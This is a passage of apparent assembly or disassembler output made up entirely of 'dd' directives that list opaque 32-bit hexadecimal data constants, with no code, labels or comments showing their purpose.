		dd 68CD3942h, 49108261h, 2880F5C7h, 0ED4CB92Ch,	0B8FC4214h
		dd 0DEE16F03h, 0C057483Bh, 139708DFh, 1211DD65h, 0BC20000Ch
		dd 0BD88FD9Bh, 0F3C93900h, 12EE820Ch, 484B60F5h, 2583E8BBh
		dd 0D2B3CB03h, 0E8979B6Dh, 1FA5CD5Eh, 1BC5F257h, 4088B083h
		dd 0B64C8560h, 0FE01706Bh, 783E62E3h, 41EE14E0h, 0A08096C4h
		dd 6B31E7C0h, 163B9C98h, 0A50E9FB4h, 3EA2B047h,	7BCE40BEh
		dd 0D2FBA7h, 9D3F9C0Bh,	66904B7Ah, 5648F100h, 0BE8C6EDBh
		dd 0C91FED9h, 3384F20h,	113EB6B0h, 373400C7h, 57924443h
		dd 3F07007Ch, 0A115B56Dh, 31004106h, 34EBEA7h, 0CA8C414h
		dd 0D296178Fh, 0E500DE40h, 0F461F12Fh, 0A1E0D2Ch, 384D4045h
		dd 546200ECh, 0B1A48F95h, 3A0B30DDh, 1FA38663h,	0E5961380h
		dd 23E80107h, 0CDDA69D9h, 57F2D1EEh, 9D7C00A8h,	0FD037A3Eh
		dd 318E8C45h, 4C781DD6h, 0D18BC098h, 41A8C973h,	0F86B800h
		dd 339CAB57h, 0EB0A0082h, 32D33CB7h, 4E78C2D0h,	6035A45Ch
		dd 0FC11ED41h, 614F7F7Ah, 806A70F4h, 0CCD2E822h, 18CBAC24h
		dd 0D10E5900h, 0AB8612h, 0F4BDF156h, 9FFC4738h,	0CBC58F00h
		dd 0BEA6979Dh, 1C7C7E49h, 3C9379F6h, 0C0A48800h, 0F3B124C6h
		dd 0CD1E0100h, 81E7D4F7h, 8A6D00AEh, 6017D64Dh,	83031C22h
		dd 726641DBh, 0EECBC8DAh, 4DEAB1h, 1965E129h, 0F6FC091Bh
		dd 51FFE61Fh, 0C607FAB9h, 0B09D718Eh, 0CA8BDD20h, 8FC5004Bh
		dd 2FFAAC4Fh, 590068D7h, 6E2B7581h, 78EC48DEh, 67DD0038h
		dd 17D2D60h, 9003EF0Ah,	0B28F6343h, 0C6C4A0DCh,	0B5FA0064h
		dd 0CE370535h, 0E31E062Bh, 7DC04A68h, 90284FDFh, 445A0EF1h
		dd 6AC011D3h, 0AE897741h, 13A68812h, 93BAA000h,	322E709h
		dd 75E0C7A3h, 0B08821C6h, 3200CD5Ch, 16B8254Dh,	3BEB5E1h
		dd 0DBC5855Fh, 6890CB50h, 1B07090Fh, 95761158h,	42C0FA84h
		dd 1E7EE70h, 0C5ABB6DEh, 206DF7D9h, 7700BBEEh, 5035AED6h
		dd 5854238Eh, 2900F71Ch, 276BC199h, 0BF47192h, 0F8B05A00h
		dd 683462BFh, 0C5B40019h, 5745265h, 150639EFh, 0C308A354h
		dd 420D118h, 2A377B0h, 0DDC30900h, 0E4B3F226h, 50AA014Bh
		dd 0F6D147BEh, 76A57084h, 59061D70h, 0EFA7394Dh, 40B67F29h
		dd 70014AB7h, 91760C08h, 1200C087h, 62800FA6h, 0A151C452h
		dd 89654675h, 4F5A0129h, 0E4BD9DBh, 0AF2A103Fh,	1076F073h
		dd 115FEDB9h, 3A08A2A6h, 2F08AA6Dh, 86ED90B1h, 30799A31h
		dd 0AE296C06h, 21807450h, 0C59089F0h, 533201B4h, 0CDDE7988h
		dd 0A184F58Ch, 43B220B9h, 0DD3C1E51h, 49F1947Eh, 0AE0A1864h
		dd 0CE6BCA51h, 1AA01128h, 4C157BA0h, 0BDFD1E00h, 0D33481B3h
		dd 0E269099h, 694A9C9Eh, 5633C160h, 0A400A1ACh,	3D781120h
		dd 0D11D65h, 0F5BCD915h, 5D888603h, 323F1B00h, 0D553367Bh
		dd 7FBB77C1h, 625000B2h, 601D2B25h, 4E1F896Bh, 768086AEh
		dd 0E2849C7Fh, 71263ECCh, 0E169D403h, 0D0B72221h, 4688ACD7h
		dd 9E5B3F00h, 209D101Dh, 0E6480450h, 903CEC25h,	0CDDA2E18h
		dd 7B56F000h, 0FD204E37h, 402C004Ah, 4B873154h,	0A4004F23h
		dd 9C6205C6h, 0FCC9F8Fh, 164A49FFh, 25E58C20h, 748E0AAh
		dd 0DC950250h, 403CBA3Fh, 46177Eh, 11494F3h, 9D2B6C7Dh
		dd 2FDC500h, 0E163F718h, 7887E099h, 1EF60069h, 11C73A6Ch
		dd 5C00DD6Eh, 0E321B394h, 0D06F12h, 0BFBC44F7h,	8A7AA019h
		dd 961A1B00h, 0E22137AEh, 946500B1h, 0A7FD6D20h, 0FE00456Ah
		dd 5C69B0B4h, 0F30D783h, 7EE4112Fh, 2090803Eh, 0AECE1281h
		dd 0B3820600h, 453DCC2Ch, 0BD30036Eh, 89786004h, 0F0B53ED0h
		dd 99B18C00h, 0A10A6BECh, 0FCEB00D8h, 2D9F46F7h, 0CA00D56Ch
		dd 0F1678049h, 0DA422Ah, 8D1B06B0h, 0EFEA8AFAh,	0C50B8500h
		dd 92FE30Eh, 3E700D9h, 26D3CBEh, 57734FE8h, 0F83D003h
		dd 88B4BD29h, 377C8ADh,	629444E4h, 40B74D55h, 15FFBF0Ch
		dd 0ED00B8E0h, 0A646099Dh, 249C3071h, 10A11F2h,	0C94E7AD6h
		dd 0A745E473h, 95C7F405h, 0FD005752h, 1D86647Eh, 0FF910096h
		dd 0F8154E32h, 0FD0065CAh, 870DC2F6h, 14559Dh, 0DF7F9AC3h
		dd 385120BAh, 0AE7560B8h, 41D3CF00h, 0A2AACD73h, 3E440033h
		dd 0CC64FD69h, 8B003BEEh, 0B51FF460h, 6386C6h, 7338DCA9h
		dd 8F6A851Ch, 80007DECh, 22812730h, 0EC2BB47h, 941567F3h
		dd 0FFA4AA40h, 51001006h, 36570CB7h, 0FECD7141h, 833803D8h
		dd 7C982DD6h, 4A2E28C0h, 0A267700h, 0F9EBE842h,	97F81DBCh
		dd 0D235405Ah, 27BD983Ah, 2E9B730h, 3E29CDB2h, 4A008ABBh
		dd 352869F8h, 4B00EBFEh, 0F7A60387h, 7BC4ABh, 7814BD31h
		dd 0B6C03B0Eh, 677FF600h, 1C17F406h, 9DF0A09Ch,	6CA65C23h
		dd 7A28300h, 6126C95Eh,	0E6024600h, 111D1E1Ah, 87C0028Bh
		dd 5F67A590h, 0C403F4E0h, 0C87B7200h, 2FE428B3h, 37D7A6Ah
		dd 1E9D2E35h, 3CD8B017h, 130009B8h, 522886BCh, 1D08842Ah
		dd 435AE9CDh, 0FEB038F5h, 7F075EF8h, 5972C81Eh,	0D645D8C0h
		dd 0EC3509h, 0E3CF2984h, 0F68C98D5h, 0D2FA9901h, 22965727h
		dd 2C760DC4h, 0FC84794h, 8E0028C5h, 74C8B62Ch, 6122490Bh
		dd 0DBF50088h, 0FE37A9F8h
		dd 48D100C5h, 79DF0775h, 84005EE7h, 5FBC9D67h, 0F4C176h
		dd 2560FC2h, 0B303421Fh, 94188700h, 14E1E4A7h, 0CA1200FAh
		dd 0D4475922h, 51723275h, 2602933Eh, 95072836h,	5A30883Fh
		dd 0E001CCD3h, 0A6C90057h, 76C36EF1h, 1200057Bh, 30B3AA58h
		dd 3F71D449h, 7494473Ah, 8E00F4F9h, 4F0BC494h, 1360C044h
		dd 2B892D4Ch, 25EC003Bh, 87410C88h, 0EB0F8BDh, 0E838522Ah
		dd 0C319452Ch, 0DC10820Ah, 7ABBA600h, 0DA3327h,	4AFB544Bh
		dd 8F499B28h, 0CB377C01h, 0AA14F232h, 0B5F4C8h,	8EEE0CADh
		dd 5285DD98h, 1BC12700h, 4E18160Dh, 179D02C7h, 2101232Fh
		dd 0F8508841h, 6000ACF9h, 22B0F2F8h, 69A5D7h, 0BDE80394h
		dd 92A81E9Eh, 8CC91418h, 963518h, 7416D45Dh, 249B391Ch
		dd 0FBDD0F00h, 5B2B0BC8h, 0C6D83F67h, 9580773Bh, 47A00C39h
		dd 3200233Ah, 0D2F3CF03h, 3EC083Eh, 0B36BCCB6h,	7AA093F6h
		dd 5400B1FBh, 37A4C1BDh, 1E69F82h, 0AB1581D2h, 0F4BE842Eh
		dd 0BA003912h, 4442C91h, 989DF979h, 0D44D0089h,	1AE38684h
		dd 1E1CE4F8h, 2701A270h, 0EC4F537Bh, 56535ECh, 6A9A504Eh
		dd 7454C0E4h, 5898868Fh, 0A9F33Bh, 0F1E61B8Dh, 4D763721h
		dd 0C90190C4h, 28F77350h, 78CC49Fh, 90BF3D00h, 0C63AEDDCh
		dd 0C4E60Bh, 1FD1D9B6h,	7DEE13E0h, 85D22100h, 245D61E3h
		dd 78F6589Ah, 0DD19400h, 0EB0E7DEAh, 0B8C1832Ah, 0D764FC00h
		dd 71CCA28Dh, 2E3E283Dh, 0DEC300D4h, 312C5893h,	0D5389E4Dh
		dd 792480FCh, 0B8269D6Fh, 7D942E1Bh, 0C54501EEh, 704D5B34h
		dd 5E18CD52h, 6840C874h, 0E04E009Fh, 9D728281h,	0B02CB903h
		dd 880034CFh, 0DBFF1B0Bh, 7E4100F0h, 9CD54916h,	6B75E621h
		dd 6C914D00h, 18444010h, 169A00C7h, 0DDA6DD4h, 24003177h
		dd 48D821E6h, 2CBC8612h, 0B5C791Ch, 3700FC41h, 450569Dh
		dd 0D5BDD81Eh, 53264E00h, 3983D93Eh, 93006FA4h,	9D60CEE1h
		dd 8490A7EEh, 1FA6911Ch, 2EBBE4C0h, 7EF7B327h, 9E5A0084h
		dd 0D6E324EAh, 55762807h, 0B20C61F6h, 0D6808765h, 5194006Bh
		dd 35639F7Fh, 38F62AA9h, 0C571501h, 14CD9C16h, 0A05D4C70h
		dd 0D87BBCh, 7425A7A8h,	0BC61AD99h, 0FA00D490h,	381AF7CFh
		dd 499E03h, 7FD75482h, 24A8B022h, 9FD32805h, 2981F5EEh
		dd 82F49468h, 8D460495h, 8013779Bh, 0D1A65A50h,	0D38C6A00h
		dd 0AEE63609h, 5E230079h, 5B5CC9DCh, 0F5000FD0h, 57813531h
		dd 8E1F3Eh, 0CC5152F8h,	65C5B561h, 641EF900h, 9EDD57AEh
		dd 6E480003h, 0EAEE458Fh, 750EE502h, 92AF71h, 597AF529h
		dd 317E0E23h, 24A01DBAh, 811C897Dh, 0E02A6EAh, 0B871DC4Ch
		dd 5893E022h, 33719Ch, 0BE67E53Ah, 7B3EC082h, 5E37AA00h
		dd 0AB9D0494h, 846107DBh, 3562954Ah, 99C800Bh, 0A00C354h
		dd 0DC2CDF65h, 0BB81D70h, 0F03AC649h, 50884B80h, 7400FE5Fh
		dd 26C5900Bh, 623996h, 916A8303h, 70B7B91Eh, 1ABBFB05h
		dd 4C030A0h, 0CDEA60h, 73FA2FE1h, 0E0869408h, 85736673h
		dd 0BDE97A00h, 1B775E4Bh, 3BD807D3h, 0D016A0B1h, 9B19766Bh
		dd 75C660Eh, 67B620C7h,	0B4F255Ah, 0FCB7B5Bh, 63DBEF00h
		dd 0CA01214Dh, 147CD4C4h, 347077B8h, 6CB100CEh,	0A276C7B0h
		dd 0F300C609h, 0EE4EDE73h, 9553F8h, 7B7ADCFh, 80B27FD1h
		dd 2FC7C300h, 1A7008AFh, 3F5672BCh, 87806649h, 0A503FF8Ch
		dd 54006A74h, 0D3A19078h, 0C0C30DF7h, 0FAB08098h, 617F558Dh
		dd 0DCBE7A01h, 532EA1EAh, 1795C8h, 0DAA8E809h, 43CE2F23h
		dd 5F6FD400h, 29277DACh, 30373E1Fh, 18CB4A00h, 2FD31448h
		dd 8F71E63Fh, 0C0080B6Ch, 49F9F7E7h, 0C0430074h, 531EC65Eh
		dd 0A65D47BCh, 7CDC00BCh, 82582E3Bh, 0F6190061h, 76F0F78Bh
		dd 9000DBEBh, 697077D7h, 0E23E6Fh, 0F9B021B3h, 7ED89F26h
		dd 0F81EA978h, 0D40EC645h, 0CF8902h, 4E0BE8ACh,	0BCE34CD7h
		dd 39531504h, 0E5E080B9h, 0D9073D72h, 2DE081E2h, 10D13A80h
		dd 30C5009Ch, 0CD74AD04h, 87071BBEh, 9D6DE39Bh,	3C544E20h
		dd 0E93500D4h, 1F56E597h, 4600A8EBh, 2FC8B1BEh,	0C61950Fh
		dd 0D077BC4Bh, 0C2007550h, 199A66B5h, 0F4F58C6h, 0C06ECEC1h
		dd 230B40DDh, 0F85F44B1h, 0EEA12800h, 65D6ECB7h, 21F90E11h
		dd 1FC01B51h, 4B367BA0h, 0FF84593Bh, 71867200h,	38BC79B7h
		dd 610C003Dh, 9E21F8DCh, 2A39CB13h, 5C007A68h, 607BEA82h
		dd 90C02EB3h, 0E8E200B8h, 0C1D48847h, 0E000A2BBh, 9B1609D7h
		dd 0F29131h, 83021730h,	0A7E34075h, 6AADC61Eh, 0D8611CC0h
		dd 43BC51h, 59E5FA0h, 20E9FD93h, 0B401DF98h, 0E36F1081h
		dd 8BDCDB7Dh, 0AE3B0ED3h, 6805C26h, 7B0F402h, 0A2841900h
		dd 0F110F3E1h, 1C8C0663h, 0D9154BFEh, 958AB880h, 3B545902h
		dd 83211094h, 90029D96h, 800649h, 89CCDA78h, 0D69942A4h
		dd 6B4D5412h, 0DC566C02h, 0F1ACC0CFh, 32DE006Dh, 600EE262h
		dd 0E503272Bh, 0A93E1E1Ah, 0EE76F053h, 1FF6F406h, 40C4B337h
		dd 0B699E0BFh, 0CC037442h, 0B2685F1Ah, 77118853h, 1EEA35h
		dd 0F1C9FC17h, 0F7453D42h, 0EDAAEE00h, 21BEF46Ah, 9BF20F25h
		dd 78E05B38h, 0BFFBFCEBh, 80C8FA00h, 0E3335622h, 5AC217A9h
		dd 0D08040F6h, 0E0E97FA4h, 37BA7B00h, 5AB86E43h, 0C2C80069h
		dd 9BE5A21Fh, 9D0E1208h, 0D3E4A4B9h, 0F35100ABh, 71191A5Ah
		dd 29844F01h, 0F51CDA16h, 0E8778880h, 3120C899h, 0D964FE18h
		dd 3872D280h, 86804FFAh, 0F4C71CB2h, 0E0E4D03Bh, 2B4D9800h
		dd 5580A582h, 0D7370381h, 9AC528F0h, 0B2D86CE3h, 5D003586h
		dd 11AB9C92h, 3D666A1Fh, 490154F4h, 0F278D1F9h,	0A920805Bh
		dd 91EE47A3h, 0E7C00109h, 47DA1E6h, 4C6BD098h, 5B6C6900h
		dd 47A6EFC1h, 94801C68h, 7BFE0099h, 213DCD75h, 2565E100h
		dd 0A2AEAB7Dh, 47A800FAh, 1DD70A9Bh, 0D4FCD00Bh, 0F3726E00h
		dd 0C93C8FE4h, 0B78400FEh, 0FCB44737h, 0ED0EFAF4h, 20AEF217h
		dd 0F38CB976h, 6DF50065h, 0F494063Eh, 6F00A2E4h, 0EB4FB311h
		dd 1E314D72h, 0D6D54A09h, 2C800016h, 0CE762F92h, 192BEC00h
		dd 3328F1AFh, 8BD403A4h, 0E348B81Ch, 0F017978Fh, 72535E86h
		dd 0FB26B4B8h, 0AE036481h, 0D5E44Ah, 155879EEh,	50696A7Dh
		dd 3AD70B5h, 2F5C3C2Bh,	598816BCh, 1000A98h, 496D45F2h
		dd 0A1828A9h, 0BA103992h, 57300E6h, 8CD0A615h, 250E4300h
		dd 0A16211Eh, 77CA0095h, 7094609Ah, 0C9008E67h,	0E6033FB8h
		dd 98EA2DEEh, 0B149009Dh, 9BC423D0h, 5B2453A6h,	7004E01Dh
		dd 60176EF5h, 0F493180Ch, 0E2C3948h, 0CEE0EE49h, 70EF203Ah
		dd 0B0363D0Bh, 79E70E4Bh, 140094C0h, 0DD59EAF8h, 0BE8D1307h
		dd 0D2804AA2h, 84E5B3h,	0A4533AECh, 0ACA5697Eh,	6B1A750Bh
		dd 134A022h, 1277EC13h,	63AEDA1h, 0D0A228FBh, 65758A07h
		dd 0E930913Eh, 0AA74F0h, 0D60EC6EEh, 6931FCB0h,	1EFF5107h
		dd 80DB4A46h, 5FC3EA94h, 0E6F400D0h, 93C7B5EDh,	0AF4CDC98h
		dd 0C02324D8h, 8C94FD00h, 342EC5Eh, 0F13C801Fh,	0C1D86466h
		dd 0F4F125C3h, 1800A2ACh, 8FE09012h, 7CAB7AD5h,	1F0C020Bh
		dd 0DD082D73h, 0C0D19A87h, 78469CC1h, 800AED2h,	0F0B527B0h
		dd 15F63A9Bh, 7E0C3801h, 0FDDED056h, 7440EA4Ch,	6905A089h
		dd 679AF94Fh, 9E36B4C0h, 38562C3Ah, 60C900F7h, 16D23FFFh
		dd 62D84500h, 47B8C6B4h, 37730002h, 903E9FC3h, 0BE80739h
		dd 0DFCC4Ch, 0E6A3F1Bh
		dd 0D7986Fh, 0D07F30B7h, 33C2F2CFh, 0C0836099h,	9674D6Dh
		dd 0FCCFC3D2h, 9FDB1060h, 76325600h, 5F34D44h, 0B96E3F82h
		dd 50004B3Ah, 2CC9B270h, 0D62662C7h, 810148EFh,	6933F71h
		dd 4001D02Ch, 69010DAAh, 0A7B84024h, 0FA004987h, 0B5234BE4h
		dd 2CE2029Eh, 0BC9B71h,	4F17DD48h, 4C983946h, 8CF0E807h
		dd 0D7F0A32Fh, 0DFB621h, 9F2B535h, 60959AC1h, 6FDE9E00h
		dd 23808E20h, 378B0041h, 0D5446A6Ch, 39001EDDh,	4CE7D743h
		dd 2EAF1C4Dh, 0AC3C3BFEh, 731EA9h, 2EA4C08Ch, 0E538748Fh
		dd 0D75B0083h, 7EBC03F7h, 0CE6F5CF4h, 5F119100h, 94D1C94h
		dd 85107400h, 2A8EAFEh,	787700C4h, 1E509522h, 94762D7Dh
		dd 8ED65600h, 62C3B4DEh, 0EDE501ACh, 0D96122A4h, 5CB041A3h
		dd 0DE68702Ch, 0B8D44703h, 7EED9Bh, 13FAEC4Eh, 0DD6D341Ah
		dd 0E106B714h, 610917B0h, 0A07AAC63h, 167C1Fh, 0A6E34B10h
		dd 62415ECCh, 800C37Dh,	81875A6Fh, 0B7624D6h, 9170651Ah
		dd 0B6777980h, 9A13C6BCh, 241C4403h, 0A0B48F3Fh, 3202E0EAh
		dd 903770F4h, 0DE280050h, 1E99D48Fh, 8100BA5Eh,	6993B0CEh
		dd 3E833CE2h, 0E8018EE9h, 3438659Fh, 0EA9ADC2Ah, 0C14E420Eh
		dd 0EDA260C5h, 2E15AAE1h, 0C35F70h, 0C00362DAh,	2400184Bh
		dd 0A802DE42h, 18C9DB11h, 0F0D53FAAh, 0D000A7B4h, 72E2E94Bh
		dd 16569A05h, 0C0B811C8h, 0D6D184ACh, 284C943Ch, 0CD00EA97h
		dd 1F39557Ah, 9C0EC4B0h, 4E3C18h, 4594958h, 0BB4DFC2Fh
		dd 1E8C0070h, 0DE3D58D5h, 0C881505Ch, 0DC9300E7h, 0F5EB2FA2h
		dd 86721C63h, 0C3116E00h, 0B1E696BEh, 4C880701h, 0E089EBB2h
		dd 430FE746h, 0B6938F00h, 84ACDB24h, 4434005Bh,	0A9851C62h
		dd 0AF00DD3Fh, 2BB81DABh, 0FE5CBA95h, 15B0022h,	96520AF0h
		dd 0EF28CEA6h, 3802FBF8h, 0DA5E13A2h, 33C257h, 42C7F588h
		dd 1B150092h, 4168CE6Dh, 8FFE2616h, 7E77E703h, 0D10F90E8h
		dd 8647BC55h, 83CE7C80h, 4132093Ah, 90C0B91Eh, 0C873028Dh
		dd 0FFB3B400h, 6450A815h, 460901B7h, 2B3A3441h,	0FC60CEEBh
		dd 917E60B5h, 0AA0064BAh, 0E487A08Eh, 94E0A7C0h, 0D8604B28h
		dd 670153D1h, 0C5305B8Dh, 30600A3Eh, 2CFD4CF2h,	801E0B84h
		dd 0EF37A9F0h, 0C900187Dh, 92579C91h, 0F05648B1h, 0F6DC0C5Fh
		dd 9DF8E53Fh, 0DB21D518h, 0E4A7480h, 0C4651B19h, 14832F40h
		dd 383D33F2h, 0C94842h,	43819CD2h, 508845h, 23674973h
		dd 0D5C77719h, 6AC56E00h, 0B3A50CCAh, 8DF70080h, 534E5B25h
		dd 6072BEE3h, 3C65A62Ch, 68553800h, 5C9F7h, 234EC212h
		dd 803BCD18h, 1673DF00h, 0C8F6B8D1h, 0B5B90002h, 153E46A0h
		dd 79EA569Dh, 0C0407200h, 47BC48FAh, 126C005Ah,	546B10E6h
		dd 0C6E2CF11h, 550D382Ch, 8C5B2A00h, 98C9B420h,	9FFD072Bh
		dd 2023B0D2h, 113C1F97h, 10D4B100h, 9AB4FC74h, 1B87D24h
		dd 9CFA98C4h, 0D4A9840Bh, 0FB00E33Ch, 0CF5EB127h, 26398E2Fh
		dd 641C6F61h, 0BEF3C170h, 5B006A04h, 0B3D52A2Dh, 0A90E0002h
		dd 0AA48BFA8h, 5F00AD0Ch, 0C72F32E8h, 0B0AF7657h, 0BE3F0027h
		dd 89DB01CAh, 0A703A1BBh, 5C70B626h, 0E485A54Dh, 0D12E90C2h
		dd 32168BF4h, 7B4A7400h, 0C4004210h, 68384FD2h,	4AB69C6h
		dd 0F5378FF3h, 160C80C2h, 0FB0077B6h, 0FF92B38Eh, 0D304D8h
		dd 54C92827h, 76373203h, 86001EECh, 3A4352B7h, 2D8EA1h
		dd 0A23B8B68h, 2B2EAA4h, 4B4D5F00h, 67DC4EF1h, 65D600B8h
		dd 0A9F2B919h, 0C807D8EBh, 3EE68BF5h, 3B2AF9E0h, 2BE10681h
		dd 98765FB0h, 0EDB4BD00h, 8F94A578h, 9DC30CBFh,	0C8107359h
		dd 9D588538h, 84802E31h, 0D8B515FBh, 90D5009Ah,	0D62B69D7h
		dd 1E00DF25h, 369C1BB4h, 0B640E0DCh, 560B0500h,	97CC000Ch
		dd 5D5D64Dh, 82719CB0h,	0A5E9D100h, 55F1B96Ch, 3D60E41Eh
		dd 0A002FAACh, 3A42E6A3h, 0CDE9E7C0h, 2CA84153h, 3E002B1Fh
		dd 9DAE2EB5h, 1262024Bh, 94152981h, 0D54ED182h,	0F284CF40h
		dd 3DF8B839h, 2C0EF47Eh, 8B208502h, 4B2E00EFh, 1CA158AFh
		dd 402A5195h, 3C5C926Fh, 0C0008E14h, 2D67AA6Ch,	6E98D102h
		dd 1249D0EBh, 90564CA7h, 78184F76h, 4AD1C700h, 25F3EFAAh
		dd 5DA600D2h, 7BE9AB38h, 76000897h, 0D703F1EAh,	3E45692Fh
		dd 8202ADACh, 6216BAA2h, 0BF385060h, 1F9CF920h,	9306C1A6h
		dd 0E2D843AFh, 83B0C964h, 0A34C3A89h, 80B85C48h, 9BAB3F5Fh
		dd 0BFF00956h, 0CFC0135Ah, 0F61EA314h, 2ED7DEF5h, 54011112h
		dd 8DF0E5D7h, 7A0FDC64h, 18E8FCA6h, 7A24802Eh, 0B5092A08h
		dd 46E5CAC5h, 3BA30FECh, 1B094A6Eh, 0E4C908C1h,	0E20EFADDh
		dd 0C09E1F49h, 5ADBB21Ch, 84454802h, 7EC55000h,	53514328h
		dd 0D631A800h, 9075BA34h, 0B826003Bh, 0F1EF4F71h, 3500211Bh
		dd 0E60B189Fh, 12C49Ah,	146E327Ch, 0D25EF28h, 99DF7004h
		dd 94C0DA58h, 0E2404C54h, 189B7F48h, 18CC0C44h,	0A200EC34h
		dd 0EB2BC3Bh, 581102h, 77F31247h, 20A4ABE2h, 0A6C47200h
		dd 5A57D325h, 2E9700A2h, 27D41801h, 7301D569h, 6E847F8Bh
		dd 0C0FCE476h, 0F1BD03C1h, 4E346028h, 3AD2AB98h, 416BA500h
		dd 7D18226Dh, 0B97500E8h, 0DF231AEFh, 0A7009B89h, 99E1BB1h
		dd 745BC5D5h, 18AA3A54h, 80E56D00h, 0C0CC3403h,	357C5900h
		dd 31BAFF41h, 45D82605h, 82800075h, 388EFEEDh, 4E2BC400h
		dd 0D391C66Dh, 0F7590211h, 2C68EFCDh, 84D6D881h, 87560CBh
		dd 69212726h, 48817D07h, 0DD4CB4C0h, 0B91C0079h, 0DEEE715Eh
		dd 0CC00173Fh, 0E79F81D4h, 3E372620h, 0A84C7EF4h, 3EC7A000h
		dd 157D0982h, 0E9709F12h, 0D78B1C00h, 1F5C0A20h, 0C02D5B1Dh
		dd 443208AAh, 0FB016F24h, 0A31B8910h, 38CDB7E5h, 0ECF4B070h
		dd 9B550918h, 605A7A28h, 1767120h, 889A06BBh, 6F9F4DF1h
		dd 5F5688C0h, 15F700A6h, 0C7702E4Bh, 74003A37h,	6AE056Ch
		dd 0F946A3h, 0EAA55CD6h, 6984FA2Eh, 0C9E12325h,	49DC6A18h
		dd 0D857009Fh, 4D14484Eh, 0D30082DBh, 937AC858h, 59CD8FC7h
		dd 0FA0050EBh, 0F5924614h, 0C19D946Fh, 0E2C69D77h, 42452C4h
		dd 2E016034h, 0DA3480CAh, 0BD2669F2h, 0F609525Fh, 0A0330F8Eh
		dd 8DD621EDh, 0EB3C006Dh, 0FFB57624h, 75003618h, 85EAAC4Ah
		dd 6B9356Eh, 8AA0063Bh,	0D20FBA84h, 6EEC6921h, 0C73EC12Eh
		dd 0A4346351h, 0DF754A72h, 16E11DFCh, 0A4ECD500h, 0A90DA2h
		dd 8F796EB5h, 759FD712h, 9864051Fh, 1C2D380h, 120665E3h
		dd 10EAAFh, 0BD26CF1Ch,	1403C937h, 9E2F8C6Bh, 0C6883E71h
		dd 0CBB11580h, 7EFB8EB8h, 0DAD9A705h, 3892AF43h, 0F46405h
		dd 0F8DE59E7h, 38A57BD8h, 45A21F02h, 60103D86h,	0FCBCD56Bh
		dd 0BDF62Ah, 0FEC5D615h, 5AE33F34h, 27DBB800h, 12367583h
		dd 81D20E03h, 9FBE8B22h, 0DAE4099h, 946AFE53h, 90406000h
		dd 74A2381h, 0DC7600B8h, 51D26B16h, 0E3001398h,	771A55DDh
		dd 0F29166AAh, 9FA20053h, 0F7A1B80Eh, 287D1FC8h, 44AFA000h
		dd 8176F918h, 327A46h, 0EC899473h, 475D4F21h, 8262DF0Fh
		dd 0E0F921E7h, 0C6E08633h, 24E900EEh, 892DB254h, 0FC007096h
		dd 0BFD3B1F9h, 8B1D40h,	6137A939h, 0F3DA84ABh, 0E5C53B07h
		dd 54837024h, 1620E073h, 40903Fh, 69DDC2CFh, 0B57B0F50h
		dd 64CC7700h, 0BF53ED12h, 0E9810F08h, 2740DABDh, 90F7387Bh
		dd 1450D800h, 110C462h,	7D0E3ED2h, 97168481h, 70C0B267h
		dd 34019E90h, 0B5716175h
		dd 1ED819D6h, 0A45B2502h, 0F32B582Eh, 95B83880h, 0DC1FEE24h
		dd 6780B2B3h, 0D64363Ah, 5123001Fh, 0CDA29F4Fh,	56074BDDh
		dd 7E25E879h, 0C5B45F71h, 7322E60h, 0C41376D9h,	82E612F4h
		dd 0F0E085C1h, 893B0A4Ah, 0F72C003Bh, 0D96BE236h, 1EC0FA7Ah
		dd 0F9AD1E97h, 2C4E2Ch,	428CA259h, 2203DF40h, 71C3AE9Bh
		dd 2677A870h, 913505AAh, 0C06D938Ch, 0F46FE485h, 41223F00h
		dd 0BD8FB137h, 0ED50004Fh, 0EB89085Ch, 60000BD4h, 0FE484796h
		dd 9416FDh, 34B9AF0Ah, 561315FCh, 0DE965E1Ch, 80260DC0h
		dd 0F3CED19h, 0A6DF8985h, 0E4F880FCh, 292C6473h, 840337B0h
		dd 6BECADF3h, 6CF0A8FAh, 0BBF20097h, 0A41B1912h, 997DE402h
		dd 0FF799100h, 373C3AFEh, 0AD6C0080h, 0A43DC945h, 0C7E28766h
		dd 728AFC02h, 602F1D2Ch, 9D8198h, 4F9EAE54h, 7C20CD76h
		dd 2726F400h, 0F21ADA2Ch, 0F7EE5C52h, 6D9FC300h, 906BCC15h
		dd 40FB0B00h, 86DE2459h, 0E6EA71B6h, 0CA3F00D0h, 0F23E6DB2h
		dd 0C8F9D7CDh, 5F078DB7h, 378FF02Eh, 6ABCE0A1h,	3D153874h
		dd 80099575h, 24C09CCAh, 0D600CD54h, 2F506503h,	0EB9E362h
		dd 0F3BF13A8h, 80A97305h, 13194E0h, 61F9C400h, 0E3476F0Bh
		dd 0D4DE004Eh, 7FEA2A2Eh, 8504A522h, 1DCD4A8Bh,	0AC3EC1C0h
		dd 0B1340961h, 0A84323D2h, 0D08747E8h, 0BED48000h, 0D1D638D8h
		dd 3C027260h, 0C080770Ch, 3B3192CEh, 7B00DC5Ch,	0B83229A2h
		dd 0F44B73h, 70493A36h,	820258C4h, 7BCA3500h, 2E6737D7h
		dd 0B09D00A4h, 23A9F42Dh, 3D00AF74h, 96CEF7EDh,	0E8A0B4h
		dd 4DB6729Ah, 44AE154h,	22D16800h, 5A7CDCA6h, 0BB0D00A1h
		dd 0B06F3631h, 0CD00A78Bh, 53ABB16Eh, 0EA8FD1E3h, 34B5009Dh
		dd 0B7ADC2D7h, 0AE0BE835h, 154092Ch, 46185148h,	2AAC20h
		dd 147E9EADh, 0B2EB5DD3h, 25212900h, 72D0C4Eh, 0BE4200CFh
		dd 3465EEC4h, 0C500F124h, 0B9177F7h, 2EDBDE95h,	2422F8h
		dd 8455D962h, 210EE3D2h, 0CFAA697Dh, 8A8D80ADh,	0FA0C0897h
		dd 0C12200F7h, 23764EC8h, 0E500F8E0h, 1226D7D6h, 38514FDDh
		dd 8C805E10h, 0A756D560h, 2D00787Dh, 1892E609h,	0DB838Bh
		dd 87969F3Eh, 0BAC51D35h, 529AA60Fh, 0E8DA40A7h, 0DC5756h
		dd 0AB0232B2h, 0EC17FB54h, 5E79801h, 7D2A779Fh,	9F2DC70h
		dd 37B7F57Fh, 384F0906h, 0EF788960h, 5016C696h,	8A9033h
		dd 0B361E368h, 0AF83064Ch, 0BA269BFAh, 520019ABh, 65C5FAB8h
		dd 0FCF70108h, 28D5EA67h, 8BBF30C0h, 83FB7607h,	0A7003E4Bh
		dd 0BDB4FAh, 0EBC28041h, 0DCC84002h, 0E8BCF30Ch, 0DD402Ch
		dd 0E4E9C708h, 0D701045Fh, 90DF961Dh, 9B608B40h, 7BBC56Dh
